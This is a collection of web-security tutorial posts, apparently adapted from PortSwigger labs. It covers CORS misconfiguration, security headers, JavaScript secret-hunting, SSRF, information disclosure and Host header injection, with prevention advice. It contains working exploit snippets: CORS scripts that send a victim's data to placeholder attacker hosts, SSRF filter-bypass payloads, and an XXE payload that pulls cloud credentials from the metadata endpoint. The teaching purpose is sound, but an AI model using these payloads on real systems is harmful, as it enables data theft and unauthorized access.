WebApp 101

WebApps 101: Cross-Origin Resource Sharing (CORS)

Note: Majority of this content was taken from Portswigger Web Academy, but is not an exact copy/paste.

Table of Contents:

  1. Table of Contents:
  2. What is an “Origin”?
  3. What is a Same Origin Policy (SOP)?
  4. What is CORS?
    1. How Does CORS Provide Controlled Relaxation of SOP?
    2. How Do You handle Requests with Credentials?
  5. Vulnerabilities Arising From CORS Configuration Issues
    1. How Do We Hunt for this Type of Vulnerability?
  6. Examples
    1. Example #1: Server-generated ACAO header from client-specified Origin header
    2. Example #2: Errors parsing Origin headers
    3. Example #3: Whitelisted Null Origin Value
    4. Example #4: Exploiting XSS via CORS Trust Relationships
    5. Example #5: Breaking TLS with Poorly Configured CORS
  7. How to Prevent CORS-Based Attacks

What is an “Origin”?

The origin of a page is decided by three unique factors: hostname, protocol, and port number. For example:

  • http://test.com and https://test.com have different origins as the protocol is different.
  • Similarly http://one.test.com and http://two.test.com have different origins as the hostnames are different.
  • The origin property is also different for two services running on the same host with different port numbers e.g. http://test.com:8081 and http://test.com:8082 are considered to be different origins.

Here’s an example table taken from Mozilla with examples of origin comparisons with the URL http://store.company.com/dir/page.html:

URLOutcomeReason
http://store.company.com/dir2/other.htmlSame originOnly the path differs
http://store.company.com/dir/inner/another.htmlSame originOnly the path differs
https://store.company.com/page.htmlFailureDifferent protocol
http://store.company.com:81/dir/page.htmlFailureDifferent port (http:// is port 80 by default)
http://news.company.com/dir/page.htmlFailureDifferent host

What is a Same Origin Policy (SOP)?

Same Origin Policy (SOP) is a browser-level security control which dictates how a document or script served by one origin can interact with a resource from some other origin. When a browser sends an HTTP request from one origin to another, any cookies, including authentication session cookies, relevant to the other domain are also sent as part of the request. This means that the response will be generated within the user’s session, and include any relevant data that is specific to the user. Without the same-origin policy, if you visited a malicious website, it would be able to read your emails from GMail, private messages from Facebook, etc.

Basically, it prevents scripts running under one origin to read data from another origin, but doesn’t actually prevent against cross-origin attacks such as cross-site request forgery (CSRF) because cross-domain requests and form submissions are still permitted. This means that if you are performing a CSRF attack on a vulnerable site which results in some server side state change (e.g. user creation, document deletion etc), the attack will be successful but you would not be able to read the response.


What is CORS?

Many websites interact with subdomains or third-party sites in a way that requires full cross-origin access. Because of this, we needed a way to be less restrictive on our same-origin policy and allow more flexiblity about what resources can be loaded, and what they can do. A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS).

How Does CORS Provide Controlled Relaxation of SOP?

Through the use of a collection of HTTP headers. Browsers permit access to responses to cross-origin requests based upon these header instructions.

The Access-Control-Allow-Origin header (ACAO) is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website’s origin and permits access to the response if they match.

How Do You handle Requests with Credentials?

By default, cross-origin resource requests will be passed without credentials, like cookies or authorization headers. However, the cross-domain server can permit reading of the response when credentials are passed using an additional header. If Access-Control-Allow-Credentials: true, Then the browser will permit the requesting website to read the response, because the Access-Control-Allow-Credentials response header is set to true. Otherwise, the browser will not allow access to the response.


Vulnerabilities Arising From CORS Configuration Issues

Many modern websites use CORS to allow access from subdomains and trusted third parties. Their implementation of CORS may contain mistakes or be overly lenient to ensure that everything works, and this can result in exploitable vulnerabilities.

How Do We Hunt for this Type of Vulnerability?

  1. Review the HTTP History of your requests and locate a page that returns sensitive data about your session. Review the response, and look for any indication of a CORS configuration based on the response headers. For example, if you see Access-Control-Allow-Credentials, this suggests that the request may support CORS.
  2. To test how lenient the policy is, send the request to Burp Repeater and add an example origin header: Origin: https://example.com.
  3. Review the response and see if the origin is reflected in the Access-Control-Allow-Origin header. If it is, you may be able to utilize the above mentioned script to exploit this. See example #1.
  4. If a domain like example.com doesn’t work, try adding null and review the response to see if the ACAO header returns null as an accepted value. See example #3.
  5. If neither of those are working, try adding a subdomain of the target itself. For example, if your target is example.com, try subdomain.example.com. In the event you’re able to find a XSS vulnerability on an allowed subdomain, you may be able to abuse CORS. See examples #4 and #5.

Examples

Example #1: Server-generated ACAO header from client-specified Origin header

Some applications need to provide access to a number of other domains. Maintaining a list of allowed domains requires ongoing effort, and any mistakes risk breaking functionality. So some applications take the easy route of effectively allowing access from any other domain.

One way to do this is by reading the Origin header from requests and including a response header stating that the requesting origin is allowed. For example, consider the following:

Request:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

These headers state that access is allowed from the requesting domain (malicious-website.com) and that the cross-origin requests can include cookies (Access-Control-Allow-Credentials: true) and so will be processed in-session.

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that absolutely any domain can access resources from the vulnerable domain. If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
    req.withCredentials = true;
    req.send();
    
    function reqListener() {
       location='//malicious-website.com/log?key='+this.responseText;
       // if the above doesn't work, try:  location='/log?key='+this.responseText;
    };
</script>

Example #2: Errors parsing Origin headers

Some applications that support access from multiple origins do so by using a whitelist of allowed origins. When a CORS request is received, the supplied origin is compared to the whitelist. If the origin appears on the whitelist then it is reflected in the Access-Control-Allow-Origin header so that access is granted. For example, consider the following:

Request:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

Response: The application checks the supplied origin against its list of allowed origins and, if it is on the list, reflects the origin as follows:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Mistakes often arise when implementing CORS origin whitelists. Some organizations decide to allow access from all their subdomains (including future subdomains not yet in existence). And some applications allow access from various other organizations’ domains including their subdomains. These rules are often implemented by matching URL prefixes or suffixes, or using regular expressions. Any mistakes in the implementation can lead to access being granted to unintended external domains.

For example, suppose an application grants access to all domains ending in:
normal-website.com

An attacker might be able to gain access by registering the domain:
hackersnormal-website.com

Alternatively, suppose an application grants access to all domains beginning with
normal-website.com

An attacker might be able to gain access using the domain:
normal-website.com.evil-user.net


Example #3: Whitelisted Null Origin Value

The specification for the Origin header supports the value null. Browsers might send the value null in the Origin header in various unusual situations:

  • Cross-origin redirects.
  • Requests from serialized data.
  • Request using the file: protocol.
  • Sandboxed cross-origin requests.

Some applications might whitelist the null origin to support local development of the application. For example, suppose an application receives the following cross-origin request:

Request:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

In this situation, an attacker can use various tricks to generate a cross-origin request containing the value null in the Origin header. This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request of the form:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Example #4: Exploiting XSS via CORS Trust Relationships

Even “correctly” configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to cross-site scripting (XSS), then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application.

Consider the following scenerio.

Request:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

In this case, an attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use that to retrieve the API key, using a URL like:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

An example of what this might look like is as follows:

<script>
    document.location="http://SUBDOMAIN.sensitive-vulnerable[.]com/?productId=VULNERABLE-XSS<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://sensitive-vulnerable[.]com',true); req.withCredentials = true;req.send();function reqListener() {location='https://ATTACKER[.]com/log?key='%2bthis.responseText; };%3c/script>"
</script>

Example #5: Breaking TLS with Poorly Configured CORS

Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For example:

Request:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

In this situation, an attacker who is in a position to intercept a victim user’s traffic can exploit the CORS configuration to compromise the victim’s interaction with the application. This attack involves the following steps:

  • The victim user makes any plain HTTP request.
  • The attacker injects a redirection to: http://trusted-subdomain.vulnerable-website.com
  • The victim’s browser follows the redirect.
  • The attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to: https://vulnerable-website.com
  • The victim’s browser makes the CORS request, including the origin: http://trusted-subdomain.vulnerable-website.com
  • The application allows the request because this is a whitelisted origin. The requested sensitive data is returned in the response.
  • The attacker’s spoofed page can read the sensitive data and transmit it to any domain under the attacker’s control.

This attack is effective even if the vulnerable website is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure.

An example of what this might look like is as follows:

<script>
    document.location="http://SUBDOMAIN.sensitive-vulnerable[.]com/?productId=VULNERABLE-XSS<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://sensitive-vulnerable[.]com',true); req.withCredentials = true;req.send();function reqListener() {location='https://ATTACKER[.]com/log?key='%2bthis.responseText; };%3c/script>"
</script>

How to Prevent CORS-Based Attacks

CORS vulnerabilities arise primarily as misconfigurations. Prevention is therefore a configuration problem.

Proper configuration of cross-origin requests. If a web resource contains sensitive information, the origin should be properly specified in the Access-Control-Allow-Origin header.

Only allow trusted sites. It may seem obvious but origins specified in the Access-Control-Allow-Origin header should only be sites that are trusted. In particular, dynamically reflecting origins from cross-origin requests without validation is readily exploitable and should be avoided.

Avoid whitelisting null. Avoid using the header Access-Control-Allow-Origin: null. Cross-origin resource calls from internal documents and sandboxed requests can specify the null origin. CORS headers should be properly defined in respect of trusted origins for private and public servers.

Avoid wildcards in internal networks. Avoid using wildcards in internal networks. Trusting network configuration alone to protect internal resources is not sufficient when internal browsers can access untrusted external domains.

CORS is not a substitute for server-side security policies. CORS defines browser behaviors and is never a replacement for server-side protection of sensitive data – an attacker can directly forge a request from any trusted origin. Therefore, web servers should continue to apply protections over sensitive data, such as authentication and session management, in addition to properly configured CORS.

WebApp 101

Missing Security HTTP Headers We Should Call Out

The following HTTP headers should be a standard implemented practice on web servers. If performing a penetration test and server lack any of the following headers:

Quick View

  • X-Frame-Options
  • HSTS (HTTP Strict Transport Security)
  • X-XSS-Protection
  • Cache-Control
  • Content-Security-Policy

Detailed View

X-Frame-Options: The X-Frame-Options HTTP header allows content publishers to prevent their own content from being used in an invisible frame by attackers.

HTTP Strict Transport Security: The HTTP Strict-Transport-Security response header informs browser that the site should only be accessed using HTTPS and that any future attempts to access it using HTTP should automatically be converted to HTTPS.

X-XSS-Protection: The HTTP X-XSS-Protection response header stops pages from loading when they detect reflected cross-site scripting (XSS) attacks.

Cache-Control: The Cache-Control HTTP header is a header used to specify browser caching policies in both client requests and server responses. Policies include how a resource is cached, where it is cached, and its maximum age before expiring.

Content-Security-Policy: The HTTP Content-Security-Policy response header allows web site administrators to control resources the user agent is allowed to load for a given page. This helps guard against cross-site scripting attacks (XSS).

References:

What is Clickjacking | Attack Example | X-Frame-Options Pros & Cons | Imperva

Strict-Transport-Security – HTTP | MDN

X-XSS-Protection – HTTP | MDN

What is Cache-Control and How HTTP Cache Headers Work | CDN Guide | Imperva

Cache-Control – HTTP | MDN

Content-Security-Policy – HTTP | MDN

WebApp 101

Panning for Gold in JavaScript Files Using Burp Suite and Grep

Want to learn how to hack things without breaking the bank? Check out TCM Academy. Learn more

As part of a webapp pentest, or when hunting for bug bounties, being able to find API endpoints, URIs, and sometimes even commented credentials/API keys through Javascript files is a good skillset to have. Luckily, using Burp Suite and Grep, it’s pretty trivial to hunt for this information.

Note: This post is fairly incomplete and will be updated as time goes on.


To begin, make sure you have your Burp Suite project capturing data as you browse the application. Manually crawl the website by navigating to every page and feature that you can find. Then, have Burp Suite crawl the page and do some enumeration of its own. Don’t skip this part, and make sure you do a thorough job, or you may be leaving Javascript files undiscovered.

Once properly enumerated, let’s extract all of the scripts that we can. This can be done by navigating to the Target tab, and selecting Site Map. Right click the target URL, head over to Engagement Tools, and then select Find Scripts.

Let’s start by updating our box installing Pip, and installing JavaScript Beautifier.

sudo apt update -y && sudo apt upgrade -y
sudo apt install python3-pip -y
sudo pip3 install jsbeautifier

Once you have the tool installed, run it specifying your input and output files.

js-beautify -o beautify.js input.js

Now that the output in cleaned up, you can get started grepping through it for gold!


Helpful grep commands

To find all that contain cmsapi:
grep --color -E "'\/cmsapi\/[^']+'" beautify.js

Or you could cat and pipe to grep:
cat beautify.js | grep -i passw

To find all items between single or double quotes:
grep --color -E "'\/[^']+'|\"\/[^\"]+\"" beautify.js

To find all IP addresses:
grep -E -o "([0-9]{1,3}[.]){3}[0-9]{1,3}" beautify.js

WebApp 101

WebApps 101: Server-Side Request Forgery (SSRF) and PortSwigger Academy Lab Examples

Note: Majority of the content here was ripped directly from PortSwigger.net.

Table of Contents:

  • What is Server-Side Request Forgery?
  • What is the impact of these attacks?
    • SSRF attacks against the server itself
    • SSRF attacks against other back-end systems
  • Finding Attack Surface for SSRF
    • What do we look for?
    • Where do we look?
    • Commonly chained exploits
  • Basic Bypass Techniques
    • Bypassing black-list based defenses
    • Bypassing white-list based defenses
  • Exploitation Examples
    • Example 1: Basic SSRF against the local server
    • Example 2: Basic SSRF against another back-end system
    • Example 3: SSRF with blacklist-based input filter
    • Example 4: SSRF with whitelist-based input filter
    • Example 5: SSRF with filter bypass via open redirection vulnerability
    • Example 6: Exploiting XXE to perform SSRF attacks

What is Server-Side Request Forgery?

SSRF is a vulnerability that allows attackers to induce a web server to make an HTTP request that they control. Typically, this would allow the attacker to see things that they wouldn’t otherwise be able to see. For example, having the webserver make a request back to itself or to another device on the internal network it is connected to make allow attackers to extract information that isn’t publicly available.


What is the impact of these attacks?

It is common for infrastructure to be configured to trust other devices within the same internal network, or to trust devices that are managed by the same organization and their trusted third-parties. Because of this, SSRF may allow attackers to bypass authentication restrictions, location or IP-based restrictions, and more.

SSRF attacks against the server itself

In these type of attacks, the attacker will induce a HTTP request to make the webserver issue a request back to its own local loopback interface (oftentimes 127.0.0.1 or localhost). This could be beneficial if restrictions are configured within parts of the webapp that are only visible when you’re accessing them locally from the webserver itself. For example, say there is an admin panel that isn’t visible to external users, but is visible to users who access it from the webserver itself. Issuing a request like this may allow an attacker to gain unauthorized access.

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://localhost/admin

Why does this work? There are a number of reasons why a webserver may implicitly trust requests made by itself.

  • Admins may rely on front-end load balancers or web application firewalls to implement access control checks BEFORE the request hits the webserver. When a connection is made back to the server itself, the check is bypassed.
  • For disaster recovery purposes, applications may allow admin access without logging in for any users coming from the local machine.
  • The administrative interface might be listening on a different port number than the main application, which may make it not directly reachable from the outside.

SSRF attacks against other back-end systems

It is common for internal systems to be less protected than external systems on the internet. Because of this, compromising an externally facing system with a SSRF vulnerability may allow you to interact with other devices on the internal network that trust that webserver when communicated to from INSIDE the network on non-routable private IP addresses. In many cases, internal back-end systems contain sensitive functionality that can be accessed without authentication by anyone who is able to interact with the systems.

For example, lets say there is an administrative interface at the back-end URL https://192.168.0.68/admin. Here, an attacker can exploit the SSRF vulnerability to access the administrative interface by submitting the following request.

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://192.168.0.68/admin

Finding Attack Surface for SSRF

Knowing about the vulnerability is great, but how do we actually hunt for it? Where do we look? What other vulnerabilities are commonly chained? Let’s answer those questions.

What do we look for?

Full URLS in Requests. This is the easiest to spot, as you will typically see the HTTP/HTTPS handlers in the request.

Partial URLs in Requests. Sometimes an application will only place a hostname or part of a URL path into the request parameters. The value submitted is then incorporated server-side into a full URL that gets requested. These may be harder to spot, and harder to exploit, because you do not have control of the entire URL that gets requested.

URLs within data formats. Some applications transmit data in formats whose specification allows the inclusion of URLs that might get requested by the data parser for the format. For example, an application that accepts and parses XML code may be vulnerable to XXE Injection, and in turn be vulnerable to SSRF via XXE.

Where do we look?

SSRF vulnerabilities are commonly found in the following:

  • Anytime an application makes a call to an API.
  • Look in URLs or Parameters that issue requests to HTTP/HTTPS handlers.

Commonly chained exploits

  • Open Redirects may help cause more impact to an SSRF vulnerability. See lab example below.
  • When the application parses XML code, XXE Injection may be utilized to cause an SSRF. See lab example below.

Basic Bypass Techniques

It is common for applications to implement defenses the prevent exploitation of SSRF attacks. This section will explain various defenses and provide some bypass techniques to try.

Bypassing black-list based defenses. Some applications will block input containing hostnames like 127.0.0.1, localhost, or sensitive URLs like /admin. To circumvent the filter, you can use these techniques.

  • Using an alternative IP representation of 127.0.0.1, such as 2130706433, 017700000001, or 127.1.
  • Registering your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
  • Obfuscating blocked strings using URL encoding or case variation.

Bypassing white-list based defenses. Some applications will only allow input that matches, begins with, or contains a whitelist of permitted values. The following can be used to circumvent this filter.

  • You can embed credentials in a URL before the hostname, using the @ character. For example: https://expected-host@evil-host.
  • You can use the # character to indicate a URL fragment. For example: https://evil-host#expected-host.
  • You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example: https://expected-host.evil-host.
  • You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
  • You can add a period (.) to the URL within the parameter. If the Regex used for whitelisting is misconfigured, this could bypass the restriction.
  • You can use combinations of these techniques together.

While watching Nahamsec’s stream, he tried bypassing using the following when he had a parameter that looked like this: stockAPI=http://localhost/admin/delete?username=carlos

 · http://%2f%2flocalhost%2fadmin%2fdelete?username=carlos
 · http://%2f%2flocalhost/login/../%2fadmin%2fdelete?username=carlos
 · http://%2f%2flocalhost/x/../%2fadmin%2fdelete?username=carlos
 · https://%2f%2flocalhost/login/../%2fadmin%2fdelete?username=carlos
 · http://%2f%2flocalhost/////admin%2fdelete?username=carlos
 · http://localhost/ADMIN/delete?username=carlos
 · http://localhost/AdMiN/delete?username=carlos 

Exploitation Examples

Example 1: Basic SSRF against the local server

In this example, browsing to the /admin directory returns an error stating that its only available locally from the server, or for signed in administrators.

However, a SSRF vulnerability exists within the “Check Stock” functionality of the website. Checking the stock of an item will issue a request that talks to a back-end API, which you can see in the following request.

Modifying the StockAPI parameter allows us to issue a request from the webserver, to itself, and delete a user from the admin panel.


Example 2: Basic SSRF against another back-end system

In this example, there is a device on the internal network that allows unauthenticated access to the admin interface. Since we can’t access this device externally, we’ll need to leverage the SSRF vulnerability on the externally facing webserver to communicate with it. To begin, we know that the internal network uses the following internal network scheme: 192.168.0.0/24. Armed with this knowledge, we’ll start by making a webrequest that looks like this.

We can actually leverage this vulnerability to scan the internal network for other devices. To automate this, we’ll send this request to Burp Intruder.

  • Click “Clear §”, change the stockApi parameter to http://192.168.0.1:8080/admin then highlight the final octet of the IP address (the number 1), click “Add §”.
  • Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the “From” and “To” and “Step” boxes respectively.
  • Click “Start attack”.

After some time, the attack should reveal that an address on the LAN returned a 200 OK.

Throw that request into Repeater, and update the parameter to include instructions for deleting a user to complete the challenge.


Example 3: SSRF with blacklist-based input filter

In this example, there are two protections that we need to bypass.

  • First, we have to bypass the protections that prevent 127.0.0.1 or localhost. To do so, we’ll sent a request to 127.1 and confirm that we receive a response.

Second, the word “admin” is blacklisted. To get around this, we can URL-encode a character in the word, such as the ‘a’. This will encode to %61. However, this is blocked as well, so we can then encode the % sign in %61. This is referred to as “Double URL Encoding”. When ‘a’ is double URL Encoded, this would be represented as %2561. Issuing the following request also returns a 200 OK, confirming we’ve bypassed the filter.

Finally, we can issue the request to delete the user.


Example 4: SSRF with whitelist-based input filter

In this example, there are a handful of bypasses we’ll need to implement.

First, we’ll try and issue a request to localhost. We find that the returned response tells us “stock.weliketoshop.net” must be included in the request.

Knowing we’ll have to include that text in the request, we test to see if the application will accept embedded credentials by adding username@ to our request. Doing so returns a different response, as if the webserver attempted to connect to “username”.

This is great, but it’s pointless if we don’t have a way to indicate a URL fragment. We can usually utilize the # sign for this, but the application rejects requests that contain that character. To get around this, we’ll Double URL Encode the # sign so that it is represented by %2523. Notice how now the request goes through.

Finally, we can replace “username” with localhost, and see that the response returns a webpage! By appending /admin/delete?username=carlos, we can issue a request that deletes the Carlos user.


Example 5: SSRF with filter bypass via open redirection vulnerability

In this example, we have an application that contains a SSRF along with an Open Redirection. By chaining these two together, we’re able to force the webserver to issue a request that deletes an user from within the admin panel.

To begin, we’ll find the open redirect vulnerability. This is present within the “Next Product” option. Click that returns a URL that looks like the following:

https//web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2

We find that anything placed into the above path parameter will get redirected. For example, the following URL would redirect to google.com

https//web-security-academy.net/product/nextProduct?currentProductId=1&path=http://google.com

Knowing this, we can place our SSRF payload within the path parameter of the open redirect.

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Then we can abuse the SSRF to force the webserver to issue the request. Doing so will delete the Carlos user.


Example 6: Exploiting XXE to perform SSRF attacks

In this example, we have a web application that parses XML input and returns any unexpected values in the response. Because of this, we can inject an XXE that issues a SSRF on our behalf, which leads to exposed EC2 credentials.

To begin, we’ll capture the “Check Stock” request and Insert the following external entity definition in between the XML declaration and the stockCheck element:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

Then replace the productId number with a reference to the external entity: &xxe;

The response should contain “Invalid product ID:” followed by the response from the metadata endpoint, which will initially be a folder name. Iteratively update the URL in the DTD to explore the API until you reach /latest/meta-data/iam/security-credentials/admin. This should return JSON containing the SecretAccessKey.

WebApp 101

WebApps 101: Information Disclosure Vulnerabilities and PortSwigger Lab Examples

Note: Majority of the content here was ripped directly from PortSwigger.net.

Table of Contents:

  • What is information disclosure?
  • What are some examples of information disclosure?
  • How to prevent information disclosure vulnerabilities
  • Practical Lab Examples
    • Example A: Information disclosure in error messages
    • Example B: Information disclosure on debug page (using comments)
    • Example C: Source code disclosure via backup files
    • Example D: Authentication bypass via information disclosure

What is information disclosure?

Information disclosure, also known as information leakage, is when a website unintentionally reveals sensitive information to its users. Depending on the context, websites may leak all kinds of information to a potential attacker, including:

  • Data about other users, such as usernames or financial information
  • Sensitive commercial or business data
  • Technical details about the website and its infrastructure

The dangers of leaking sensitive user or business data are fairly obvious, but disclosing technical information can sometimes be just as serious. Although some of this information will be of limited use, it can potentially be a starting point for exposing an additional attack surface, which may contain other interesting vulnerabilities. The knowledge that you are able to gather could even provide the missing piece of the puzzle when trying to construct complex, high-severity attacks.

Occasionally, sensitive information might be carelessly leaked to users who are simply browsing the website in a normal fashion. More commonly, however, an attacker needs to elicit the information disclosure by interacting with the website in unexpected or malicious ways. They will then carefully study the website’s responses to try and identify interesting behavior.


What are some examples of information disclosure?

Some basic examples of information disclosure are as follows:

  • Revealing the names of hidden directories, their structure, and their contents via a robots.txt file or directory listing
  • Providing access to source code files via temporary backups
  • Explicitly mentioning database table or column names in error messages
  • Unnecessarily exposing highly sensitive information, such as credit card details
  • Hard-coding API keys, IP addresses, database credentials, and so on in the source code
  • Hinting at the existence or absence of resources, usernames, and so on via subtle differences in application behavior

How to prevent information disclosure vulnerabilities

Preventing information disclosure completely is tricky due to the huge variety of ways in which it can occur. However, there are some general best practices that you can follow to minimize the risk of these kinds of vulnerability creeping into your own websites.

  • Make sure that everyone involved in producing the website is fully aware of what information is considered sensitive. Sometimes seemingly harmless information can be much more useful to an attacker than people realize. Highlighting these dangers can help make sure that sensitive information is handled more securely in general by your organization.
  • Audit any code for potential information disclosure as part of your QA or build processes. It should be relatively easy to automate some of the associated tasks, such as stripping developer comments.
  • Use generic error messages as much as possible. Don’t provide attackers with clues about application behavior unnecessarily.
  • Double-check that any debugging or diagnostic features are disabled in the production environment.
  • Make sure you fully understand the configuration settings, and security implications, of any third-party technology that you implement. Take the time to investigate and disable any features and settings that you don’t actually need.

Practical Lab Examples

Example A: Information disclosure in error messages

In this example, we have an eCommerce site that uses Product IDs to track its products. When you select a project, the URL presents ?productID=1 as a parameter. By modifying your request to use a non-valid number, we’re able to trigger an error message that leaks the Apache version.


Example B: Information disclosure on debug page (using comments)

In this example, we’re able to leverage Burp Suite to crawl the site and look for comments in the source code. One of the comments hint at a directory present at /cgi-bin/phpinfo.php. Browsing to this allows us to enumerate a wealth of information about the website.

To automate hunting for comments, you can use Burp:

  1. Navigate to Target and select Site Map.
  2. Right click the correct target, select Engagement Tools, and select Find Comments.

Example C: Source code disclosure via backup files

In this example, robots.txt shows us a /backup directory. That directory allows for listing to anybody, so we’re able to see a backup file in .bak format. Viewing the contents of this file reveals a hardcoded credential in plain text.

Always check robots.txt and source code!


Example D: Authentication bypass via information disclosure

In this example, we try to access the admin interface at /admin. However, browsing to this page returns an error stating that it is only accessible when accessing it locally.

To debug this a bit, we decide to intercept the default GET /admin request, and change it to a TRACE /admin request. Doing so shows us that the webserver adds an additional header that contains our IP address.

Assuming this is what is used to determine whether or not we’re locally accessing the page, we will append our own value for this header to every request we make to the server. To automate this, we can use Burp Suite:

  1. Navigate to Proxy and select Options.
  2. Find the Match and Replace section and click Add.
  3. Leave the Match blank, but enter the following into Replace: X-Custom-IP-Authorization: 127.0.0.1

Now reissuing the GET /admin request bypasses the local IP address restriction, which we were only able to determine because of the information disclosure.


WebApp 101

WebApps 101: HTTP Host Header Attacks and PortSwigger Academy Lab Examples

Note: Majority of the content here was ripped directly from PortSwigger.net.

Table of Contents:

  • What is an HTTP Host Header?
  • What Are Host Header Injection Attacks?
  • How Do We Test for Attacks?
    • Checking for flawed validation
      • Insert the payload within the port field
      • Provide arbitrary domain name containing the whitelisted domain name
    • Sending ambiguous requests to bypass front-end systems.
      • Inserting duplicate Host headers
      • Supply an absolute URL
      • Add line wrapping via space character
    • Additional Technique: Inject Host Override Headers
    • Additional Technique: Brute-Forcing Virtual Hosts
  • Exploitation Examples
    • Example 1A: Basic password reset poisoning (Uses Host Header)
    • Example 1B: Password reset poisoning via middleware (Uses X-Forwarded-Host Header)
    • Example 1C: Password reset poisoning via dangling markup (Uses Arbitrary Port Within Host Header)
    • Example 2: Web cache poisoning via ambiguous requests (Uses X-Cache Header)
    • Example 3: Host header authentication bypass (Changing Host Header to localhost)

What is an HTTP Host Header?

The HTTP Host header is mandatory, and specifies the domain name that the client wants to access. Modifying this header may allow you to view various webpages against the same server, if that server is configured to respond to multiple virtual hosts. In addition to virtual host routing, the Host header is important for a load-balancer or third-party intermediary (think CloudFlare) to know where to route traffic once the request comes in and is processed.

For example, a user browsing to a website at http://example.com/page-1 will issue a request that looks like the following:

GET /page-1 HTTP/1.1
Host: example.com

Example.com may resolve to an IP address that many other domain-names respond to. Because of this, multiple domain names may be sent to the same webserver or resource, and that resource needs to be able to know where to send traffic. This is done by looking at the Host header.


What Are Host Header Injection Attacks?

When a payload is injected directly into the Host header of a HTTP Request, this is referred to as a Host Header Injection Attack. If the webserver fails to validate or escape the Host Header properly, this could lead to harmful server-side behavior.

As the Host header is in fact user controllable, this practice can lead to a number of issues. If the input is not properly escaped or validated, the Host header is a potential vector for exploiting a range of other vulnerabilities, most notably:

  • Web cache poisoning
  • Business logic flaws in specific functionality
  • Routing-based SSRF
  • Classic server-side vulnerabilities, such as SQL injection

How Do We Test for Attacks?

The process for testing this is very simple. Just intercept the Request in Burp, and modify the Host header to an arbitrary value. The webserver will likely respond in one of two ways:

  1. The page you intended to test will display. This typically occurs when the site you’re testing is configured as the webserver’s default or fallback option when a improper Host header is provided.
  2. The server returns an error. This is more common, especially in cases when multiple websites are being hosted by the same webserver or front-end.

Checking for flawed validation

Instead of returning a “Invalid Host Header” response, you may find that your request is blocked as a security measure. This doesn’t mean that the server isn’t vulnerable, but you do need to try and understand how the server parses the host header. The following contains a list of possible bypass techniques:

Insert the payload within the port field. The domain name may be checked, but the port number may not be.

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

Provide arbitrary domain name containing the whitelisted domain name. Validation may be checking simple to see if the target domain is present in the response. By registering an arbitrary domain name that ends with the same sequence of characters as a whitelisted one, you may be able to bypass defenses.

GET /example HTTP/1.1
Host: notvulnerable-website.com

Sending ambiguous requests to bypass front-end systems.

In cases were a load balancer or CDN is in place acting as the front-end server, we may be able to bypass security checks on the front-end server using one request, but have the application process the request on the back-end differently. For example, the following bypass techniques can be deployed.

Inserting duplicate Host headers. This is particularly useful when your request is processed by multiple webservers (such as a load-balancer or CDN). Different systems may handle the request differently, giving one header precedence over the other one, which can effectively override its value. let’s say the front-end gives precedence to the first instance of the header, but the back-end prefers the final instance. Given this scenario, you could use the first header to ensure that your request is routed to the intended target and use the second header to pass your payload into the server-side code.

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

Supply an absolute URL. Officially, the request line should be given precedence when routing the request, but this isn’t always the case in practice. You may be able to exploit the same behavior mentioned above by issuing a request similar to the one below.

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

Note: Don’t forget to modify the protocol from http to https and vice versa to see the behavior.

